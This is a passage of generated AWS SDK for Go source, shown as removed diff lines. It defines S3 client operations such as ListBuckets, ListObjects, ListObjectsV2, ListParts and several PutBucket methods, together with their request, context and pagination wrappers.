"ListBuckets" - -// ListBucketsRequest generates a "aws/request.Request" representing the -// client's request for the ListBuckets operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See ListBuckets for more information on using the ListBuckets -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the ListBucketsRequest method. -// req, resp := client.ListBucketsRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListBuckets -func (c *S3) ListBucketsRequest(input *ListBucketsInput) (req *request.Request, output *ListBucketsOutput) { - op := &request.Operation{ - Name: opListBuckets, - HTTPMethod: "GET", - HTTPPath: "/", - } - - if input == nil { - input = &ListBucketsInput{} - } - - output = &ListBucketsOutput{} - req = c.newRequest(op, input, output) - return -} - -// ListBuckets API operation for Amazon Simple Storage Service. -// -// Returns a list of all buckets owned by the authenticated sender of the request. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation ListBuckets for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListBuckets -func (c *S3) ListBuckets(input *ListBucketsInput) (*ListBucketsOutput, error) { - req, out := c.ListBucketsRequest(input) - return out, req.Send() -} - -// ListBucketsWithContext is the same as ListBuckets with the addition of -// the ability to pass a context and additional request options. -// -// See ListBuckets for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) ListBucketsWithContext(ctx aws.Context, input *ListBucketsInput, opts ...request.Option) (*ListBucketsOutput, error) { - req, out := c.ListBucketsRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opListMultipartUploads = "ListMultipartUploads" - -// ListMultipartUploadsRequest generates a "aws/request.Request" representing the -// client's request for the ListMultipartUploads operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See ListMultipartUploads for more information on using the ListMultipartUploads -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the ListMultipartUploadsRequest method. -// req, resp := client.ListMultipartUploadsRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListMultipartUploads -func (c *S3) ListMultipartUploadsRequest(input *ListMultipartUploadsInput) (req *request.Request, output *ListMultipartUploadsOutput) { - op := &request.Operation{ - Name: opListMultipartUploads, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?uploads", - Paginator: &request.Paginator{ - InputTokens: []string{"KeyMarker", "UploadIdMarker"}, - OutputTokens: []string{"NextKeyMarker", "NextUploadIdMarker"}, - LimitToken: "MaxUploads", - TruncationToken: "IsTruncated", - }, - } - - if input == nil { - input = &ListMultipartUploadsInput{} - } - - output = &ListMultipartUploadsOutput{} - req = c.newRequest(op, input, output) - return -} - -// ListMultipartUploads API operation for Amazon Simple Storage Service. -// -// This operation lists in-progress multipart uploads. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation ListMultipartUploads for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListMultipartUploads -func (c *S3) ListMultipartUploads(input *ListMultipartUploadsInput) (*ListMultipartUploadsOutput, error) { - req, out := c.ListMultipartUploadsRequest(input) - return out, req.Send() -} - -// ListMultipartUploadsWithContext is the same as ListMultipartUploads with the addition of -// the ability to pass a context and additional request options. -// -// See ListMultipartUploads for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) ListMultipartUploadsWithContext(ctx aws.Context, input *ListMultipartUploadsInput, opts ...request.Option) (*ListMultipartUploadsOutput, error) { - req, out := c.ListMultipartUploadsRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -// ListMultipartUploadsPages iterates over the pages of a ListMultipartUploads operation, -// calling the "fn" function with the response data for each page. To stop -// iterating, return false from the fn function. -// -// See ListMultipartUploads method for more information on how to use this operation. -// -// Note: This operation can generate multiple requests to a service. -// -// // Example iterating over at most 3 pages of a ListMultipartUploads operation. -// pageNum := 0 -// err := client.ListMultipartUploadsPages(params, -// func(page *ListMultipartUploadsOutput, lastPage bool) bool { -// pageNum++ -// fmt.Println(page) -// return pageNum <= 3 -// }) -// -func (c *S3) ListMultipartUploadsPages(input *ListMultipartUploadsInput, fn func(*ListMultipartUploadsOutput, bool) bool) error { - return c.ListMultipartUploadsPagesWithContext(aws.BackgroundContext(), input, fn) -} - -// ListMultipartUploadsPagesWithContext same as ListMultipartUploadsPages except -// it takes a Context and allows setting request options on the pages. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) ListMultipartUploadsPagesWithContext(ctx aws.Context, input *ListMultipartUploadsInput, fn func(*ListMultipartUploadsOutput, bool) bool, opts ...request.Option) error { - p := request.Pagination{ - NewRequest: func() (*request.Request, error) { - var inCpy *ListMultipartUploadsInput - if input != nil { - tmp := *input - inCpy = &tmp - } - req, _ := c.ListMultipartUploadsRequest(inCpy) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return req, nil - }, - } - - cont := true - for p.Next() && cont { - cont = fn(p.Page().(*ListMultipartUploadsOutput), !p.HasNextPage()) - } - return p.Err() -} - -const opListObjectVersions = "ListObjectVersions" - -// ListObjectVersionsRequest generates a "aws/request.Request" representing the -// client's request for the ListObjectVersions operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See ListObjectVersions for more information on using the ListObjectVersions -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the ListObjectVersionsRequest method. -// req, resp := client.ListObjectVersionsRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListObjectVersions -func (c *S3) ListObjectVersionsRequest(input *ListObjectVersionsInput) (req *request.Request, output *ListObjectVersionsOutput) { - op := &request.Operation{ - Name: opListObjectVersions, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?versions", - Paginator: &request.Paginator{ - InputTokens: []string{"KeyMarker", "VersionIdMarker"}, - OutputTokens: []string{"NextKeyMarker", "NextVersionIdMarker"}, - LimitToken: "MaxKeys", - TruncationToken: "IsTruncated", - }, - } - - if input == nil { - input = &ListObjectVersionsInput{} - } - - output = &ListObjectVersionsOutput{} - req = c.newRequest(op, input, output) - return -} - -// ListObjectVersions API operation for Amazon Simple Storage Service. -// -// Returns metadata about all of the versions of objects in a bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation ListObjectVersions for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListObjectVersions -func (c *S3) ListObjectVersions(input *ListObjectVersionsInput) (*ListObjectVersionsOutput, error) { - req, out := c.ListObjectVersionsRequest(input) - return out, req.Send() -} - -// ListObjectVersionsWithContext is the same as ListObjectVersions with the addition of -// the ability to pass a context and additional request options. -// -// See ListObjectVersions for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) ListObjectVersionsWithContext(ctx aws.Context, input *ListObjectVersionsInput, opts ...request.Option) (*ListObjectVersionsOutput, error) { - req, out := c.ListObjectVersionsRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -// ListObjectVersionsPages iterates over the pages of a ListObjectVersions operation, -// calling the "fn" function with the response data for each page. To stop -// iterating, return false from the fn function. -// -// See ListObjectVersions method for more information on how to use this operation. -// -// Note: This operation can generate multiple requests to a service. -// -// // Example iterating over at most 3 pages of a ListObjectVersions operation. -// pageNum := 0 -// err := client.ListObjectVersionsPages(params, -// func(page *ListObjectVersionsOutput, lastPage bool) bool { -// pageNum++ -// fmt.Println(page) -// return pageNum <= 3 -// }) -// -func (c *S3) ListObjectVersionsPages(input *ListObjectVersionsInput, fn func(*ListObjectVersionsOutput, bool) bool) error { - return c.ListObjectVersionsPagesWithContext(aws.BackgroundContext(), input, fn) -} - -// ListObjectVersionsPagesWithContext same as ListObjectVersionsPages except -// it takes a Context and allows setting request options on the pages. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) ListObjectVersionsPagesWithContext(ctx aws.Context, input *ListObjectVersionsInput, fn func(*ListObjectVersionsOutput, bool) bool, opts ...request.Option) error { - p := request.Pagination{ - NewRequest: func() (*request.Request, error) { - var inCpy *ListObjectVersionsInput - if input != nil { - tmp := *input - inCpy = &tmp - } - req, _ := c.ListObjectVersionsRequest(inCpy) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return req, nil - }, - } - - cont := true - for p.Next() && cont { - cont = fn(p.Page().(*ListObjectVersionsOutput), !p.HasNextPage()) - } - return p.Err() -} - -const opListObjects = "ListObjects" - -// ListObjectsRequest generates a "aws/request.Request" representing the -// client's request for the ListObjects operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See ListObjects for more information on using the ListObjects -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the ListObjectsRequest method. -// req, resp := client.ListObjectsRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListObjects -func (c *S3) ListObjectsRequest(input *ListObjectsInput) (req *request.Request, output *ListObjectsOutput) { - op := &request.Operation{ - Name: opListObjects, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}", - Paginator: &request.Paginator{ - InputTokens: []string{"Marker"}, - OutputTokens: []string{"NextMarker || Contents[-1].Key"}, - LimitToken: "MaxKeys", - TruncationToken: "IsTruncated", - }, - } - - if input == nil { - input = &ListObjectsInput{} - } - - output = &ListObjectsOutput{} - req = c.newRequest(op, input, output) - return -} - -// ListObjects API operation for Amazon Simple Storage Service. -// -// Returns some or all (up to 1000) of the objects in a bucket. You can use -// the request parameters as selection criteria to return a subset of the objects -// in a bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation ListObjects for usage and error information. -// -// Returned Error Codes: -// * ErrCodeNoSuchBucket "NoSuchBucket" -// The specified bucket does not exist. -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListObjects -func (c *S3) ListObjects(input *ListObjectsInput) (*ListObjectsOutput, error) { - req, out := c.ListObjectsRequest(input) - return out, req.Send() -} - -// ListObjectsWithContext is the same as ListObjects with the addition of -// the ability to pass a context and additional request options. -// -// See ListObjects for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) ListObjectsWithContext(ctx aws.Context, input *ListObjectsInput, opts ...request.Option) (*ListObjectsOutput, error) { - req, out := c.ListObjectsRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -// ListObjectsPages iterates over the pages of a ListObjects operation, -// calling the "fn" function with the response data for each page. To stop -// iterating, return false from the fn function. -// -// See ListObjects method for more information on how to use this operation. -// -// Note: This operation can generate multiple requests to a service. -// -// // Example iterating over at most 3 pages of a ListObjects operation. -// pageNum := 0 -// err := client.ListObjectsPages(params, -// func(page *ListObjectsOutput, lastPage bool) bool { -// pageNum++ -// fmt.Println(page) -// return pageNum <= 3 -// }) -// -func (c *S3) ListObjectsPages(input *ListObjectsInput, fn func(*ListObjectsOutput, bool) bool) error { - return c.ListObjectsPagesWithContext(aws.BackgroundContext(), input, fn) -} - -// ListObjectsPagesWithContext same as ListObjectsPages except -// it takes a Context and allows setting request options on the pages. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) ListObjectsPagesWithContext(ctx aws.Context, input *ListObjectsInput, fn func(*ListObjectsOutput, bool) bool, opts ...request.Option) error { - p := request.Pagination{ - NewRequest: func() (*request.Request, error) { - var inCpy *ListObjectsInput - if input != nil { - tmp := *input - inCpy = &tmp - } - req, _ := c.ListObjectsRequest(inCpy) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return req, nil - }, - } - - cont := true - for p.Next() && cont { - cont = fn(p.Page().(*ListObjectsOutput), !p.HasNextPage()) - } - return p.Err() -} - -const opListObjectsV2 = "ListObjectsV2" - -// ListObjectsV2Request generates a "aws/request.Request" representing the -// client's request for the ListObjectsV2 operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See ListObjectsV2 for more information on using the ListObjectsV2 -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the ListObjectsV2Request method. -// req, resp := client.ListObjectsV2Request(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListObjectsV2 -func (c *S3) ListObjectsV2Request(input *ListObjectsV2Input) (req *request.Request, output *ListObjectsV2Output) { - op := &request.Operation{ - Name: opListObjectsV2, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}?list-type=2", - Paginator: &request.Paginator{ - InputTokens: []string{"ContinuationToken"}, - OutputTokens: []string{"NextContinuationToken"}, - LimitToken: "MaxKeys", - TruncationToken: "", - }, - } - - if input == nil { - input = &ListObjectsV2Input{} - } - - output = &ListObjectsV2Output{} - req = c.newRequest(op, input, output) - return -} - -// ListObjectsV2 API operation for Amazon Simple Storage Service. -// -// Returns some or all (up to 1000) of the objects in a bucket. You can use -// the request parameters as selection criteria to return a subset of the objects -// in a bucket. Note: ListObjectsV2 is the revised List Objects API and we recommend -// you use this revised API for new application development. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation ListObjectsV2 for usage and error information. -// -// Returned Error Codes: -// * ErrCodeNoSuchBucket "NoSuchBucket" -// The specified bucket does not exist. -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListObjectsV2 -func (c *S3) ListObjectsV2(input *ListObjectsV2Input) (*ListObjectsV2Output, error) { - req, out := c.ListObjectsV2Request(input) - return out, req.Send() -} - -// ListObjectsV2WithContext is the same as ListObjectsV2 with the addition of -// the ability to pass a context and additional request options. -// -// See ListObjectsV2 for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) ListObjectsV2WithContext(ctx aws.Context, input *ListObjectsV2Input, opts ...request.Option) (*ListObjectsV2Output, error) { - req, out := c.ListObjectsV2Request(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -// ListObjectsV2Pages iterates over the pages of a ListObjectsV2 operation, -// calling the "fn" function with the response data for each page. To stop -// iterating, return false from the fn function. -// -// See ListObjectsV2 method for more information on how to use this operation. -// -// Note: This operation can generate multiple requests to a service. -// -// // Example iterating over at most 3 pages of a ListObjectsV2 operation. -// pageNum := 0 -// err := client.ListObjectsV2Pages(params, -// func(page *ListObjectsV2Output, lastPage bool) bool { -// pageNum++ -// fmt.Println(page) -// return pageNum <= 3 -// }) -// -func (c *S3) ListObjectsV2Pages(input *ListObjectsV2Input, fn func(*ListObjectsV2Output, bool) bool) error { - return c.ListObjectsV2PagesWithContext(aws.BackgroundContext(), input, fn) -} - -// ListObjectsV2PagesWithContext same as ListObjectsV2Pages except -// it takes a Context and allows setting request options on the pages. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) ListObjectsV2PagesWithContext(ctx aws.Context, input *ListObjectsV2Input, fn func(*ListObjectsV2Output, bool) bool, opts ...request.Option) error { - p := request.Pagination{ - NewRequest: func() (*request.Request, error) { - var inCpy *ListObjectsV2Input - if input != nil { - tmp := *input - inCpy = &tmp - } - req, _ := c.ListObjectsV2Request(inCpy) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return req, nil - }, - } - - cont := true - for p.Next() && cont { - cont = fn(p.Page().(*ListObjectsV2Output), !p.HasNextPage()) - } - return p.Err() -} - -const opListParts = "ListParts" - -// ListPartsRequest generates a "aws/request.Request" representing the -// client's request for the ListParts operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See ListParts for more information on using the ListParts -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the ListPartsRequest method. -// req, resp := client.ListPartsRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListParts -func (c *S3) ListPartsRequest(input *ListPartsInput) (req *request.Request, output *ListPartsOutput) { - op := &request.Operation{ - Name: opListParts, - HTTPMethod: "GET", - HTTPPath: "/{Bucket}/{Key+}", - Paginator: &request.Paginator{ - InputTokens: []string{"PartNumberMarker"}, - OutputTokens: []string{"NextPartNumberMarker"}, - LimitToken: "MaxParts", - TruncationToken: "IsTruncated", - }, - } - - if input == nil { - input = &ListPartsInput{} - } - - output = &ListPartsOutput{} - req = c.newRequest(op, input, output) - return -} - -// ListParts API operation for Amazon Simple Storage Service. -// -// Lists the parts that have been uploaded for a specific multipart upload. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation ListParts for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/ListParts -func (c *S3) ListParts(input *ListPartsInput) (*ListPartsOutput, error) { - req, out := c.ListPartsRequest(input) - return out, req.Send() -} - -// ListPartsWithContext is the same as ListParts with the addition of -// the ability to pass a context and additional request options. -// -// See ListParts for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) ListPartsWithContext(ctx aws.Context, input *ListPartsInput, opts ...request.Option) (*ListPartsOutput, error) { - req, out := c.ListPartsRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -// ListPartsPages iterates over the pages of a ListParts operation, -// calling the "fn" function with the response data for each page. To stop -// iterating, return false from the fn function. -// -// See ListParts method for more information on how to use this operation. -// -// Note: This operation can generate multiple requests to a service. -// -// // Example iterating over at most 3 pages of a ListParts operation. -// pageNum := 0 -// err := client.ListPartsPages(params, -// func(page *ListPartsOutput, lastPage bool) bool { -// pageNum++ -// fmt.Println(page) -// return pageNum <= 3 -// }) -// -func (c *S3) ListPartsPages(input *ListPartsInput, fn func(*ListPartsOutput, bool) bool) error { - return c.ListPartsPagesWithContext(aws.BackgroundContext(), input, fn) -} - -// ListPartsPagesWithContext same as ListPartsPages except -// it takes a Context and allows setting request options on the pages. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) ListPartsPagesWithContext(ctx aws.Context, input *ListPartsInput, fn func(*ListPartsOutput, bool) bool, opts ...request.Option) error { - p := request.Pagination{ - NewRequest: func() (*request.Request, error) { - var inCpy *ListPartsInput - if input != nil { - tmp := *input - inCpy = &tmp - } - req, _ := c.ListPartsRequest(inCpy) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return req, nil - }, - } - - cont := true - for p.Next() && cont { - cont = fn(p.Page().(*ListPartsOutput), !p.HasNextPage()) - } - return p.Err() -} - -const opPutBucketAccelerateConfiguration = "PutBucketAccelerateConfiguration" - -// PutBucketAccelerateConfigurationRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketAccelerateConfiguration operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketAccelerateConfiguration for more information on using the PutBucketAccelerateConfiguration -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketAccelerateConfigurationRequest method. -// req, resp := client.PutBucketAccelerateConfigurationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketAccelerateConfiguration -func (c *S3) PutBucketAccelerateConfigurationRequest(input *PutBucketAccelerateConfigurationInput) (req *request.Request, output *PutBucketAccelerateConfigurationOutput) { - op := &request.Operation{ - Name: opPutBucketAccelerateConfiguration, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?accelerate", - } - - if input == nil { - input = &PutBucketAccelerateConfigurationInput{} - } - - output = &PutBucketAccelerateConfigurationOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketAccelerateConfiguration API operation for Amazon Simple Storage Service. -// -// Sets the accelerate configuration of an existing bucket. -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketAccelerateConfiguration for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketAccelerateConfiguration -func (c *S3) PutBucketAccelerateConfiguration(input *PutBucketAccelerateConfigurationInput) (*PutBucketAccelerateConfigurationOutput, error) { - req, out := c.PutBucketAccelerateConfigurationRequest(input) - return out, req.Send() -} - -// PutBucketAccelerateConfigurationWithContext is the same as PutBucketAccelerateConfiguration with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketAccelerateConfiguration for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutBucketAccelerateConfigurationWithContext(ctx aws.Context, input *PutBucketAccelerateConfigurationInput, opts ...request.Option) (*PutBucketAccelerateConfigurationOutput, error) { - req, out := c.PutBucketAccelerateConfigurationRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutBucketAcl = "PutBucketAcl" - -// PutBucketAclRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketAcl operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketAcl for more information on using the PutBucketAcl -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketAclRequest method. -// req, resp := client.PutBucketAclRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketAcl -func (c *S3) PutBucketAclRequest(input *PutBucketAclInput) (req *request.Request, output *PutBucketAclOutput) { - op := &request.Operation{ - Name: opPutBucketAcl, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?acl", - } - - if input == nil { - input = &PutBucketAclInput{} - } - - output = &PutBucketAclOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketAcl API operation for Amazon Simple Storage Service. -// -// Sets the permissions on a bucket using access control lists (ACL). -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketAcl for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketAcl -func (c *S3) PutBucketAcl(input *PutBucketAclInput) (*PutBucketAclOutput, error) { - req, out := c.PutBucketAclRequest(input) - return out, req.Send() -} - -// PutBucketAclWithContext is the same as PutBucketAcl with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketAcl for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutBucketAclWithContext(ctx aws.Context, input *PutBucketAclInput, opts ...request.Option) (*PutBucketAclOutput, error) { - req, out := c.PutBucketAclRequest(input) - req.SetContext(ctx) - req.ApplyOptions(opts...) - return out, req.Send() -} - -const opPutBucketAnalyticsConfiguration = "PutBucketAnalyticsConfiguration" - -// PutBucketAnalyticsConfigurationRequest generates a "aws/request.Request" representing the -// client's request for the PutBucketAnalyticsConfiguration operation. The "output" return -// value will be populated with the request's response once the request completes -// successfully. -// -// Use "Send" method on the returned Request to send the API call to the service. -// the "output" return value is not valid until after Send returns without error. -// -// See PutBucketAnalyticsConfiguration for more information on using the PutBucketAnalyticsConfiguration -// API call, and error handling. -// -// This method is useful when you want to inject custom logic or configuration -// into the SDK's request lifecycle. Such as custom headers, or retry logic. -// -// -// // Example sending a request using the PutBucketAnalyticsConfigurationRequest method. -// req, resp := client.PutBucketAnalyticsConfigurationRequest(params) -// -// err := req.Send() -// if err == nil { // resp is now filled -// fmt.Println(resp) -// } -// -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketAnalyticsConfiguration -func (c *S3) PutBucketAnalyticsConfigurationRequest(input *PutBucketAnalyticsConfigurationInput) (req *request.Request, output *PutBucketAnalyticsConfigurationOutput) { - op := &request.Operation{ - Name: opPutBucketAnalyticsConfiguration, - HTTPMethod: "PUT", - HTTPPath: "/{Bucket}?analytics", - } - - if input == nil { - input = &PutBucketAnalyticsConfigurationInput{} - } - - output = &PutBucketAnalyticsConfigurationOutput{} - req = c.newRequest(op, input, output) - req.Handlers.Unmarshal.Swap(restxml.UnmarshalHandler.Name, protocol.UnmarshalDiscardBodyHandler) - return -} - -// PutBucketAnalyticsConfiguration API operation for Amazon Simple Storage Service. -// -// Sets an analytics configuration for the bucket (specified by the analytics -// configuration ID). -// -// Returns awserr.Error for service API and SDK errors. Use runtime type assertions -// with awserr.Error's Code and Message methods to get detailed information about -// the error. -// -// See the AWS API reference guide for Amazon Simple Storage Service's -// API operation PutBucketAnalyticsConfiguration for usage and error information. -// See also, https://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketAnalyticsConfiguration -func (c *S3) PutBucketAnalyticsConfiguration(input *PutBucketAnalyticsConfigurationInput) (*PutBucketAnalyticsConfigurationOutput, error) { - req, out := c.PutBucketAnalyticsConfigurationRequest(input) - return out, req.Send() -} - -// PutBucketAnalyticsConfigurationWithContext is the same as PutBucketAnalyticsConfiguration with the addition of -// the ability to pass a context and additional request options. -// -// See PutBucketAnalyticsConfiguration for details on how to use this API operation. -// -// The context must be non-nil and will be used for request cancellation. If -// the context is nil a panic will occur. In the future the SDK may create -// sub-contexts for http.Requests. See https://golang.org/pkg/context/ -// for more information on using Contexts. -func (c *S3) PutBucketAnalyticsConfigurationWithContext(ctx aws.Context, input *PutBucketAnalyticsConfigurationInput, opts ...request.Option) (*PutBucketAnalyticsConfigurationOutput, error) { - req, out := 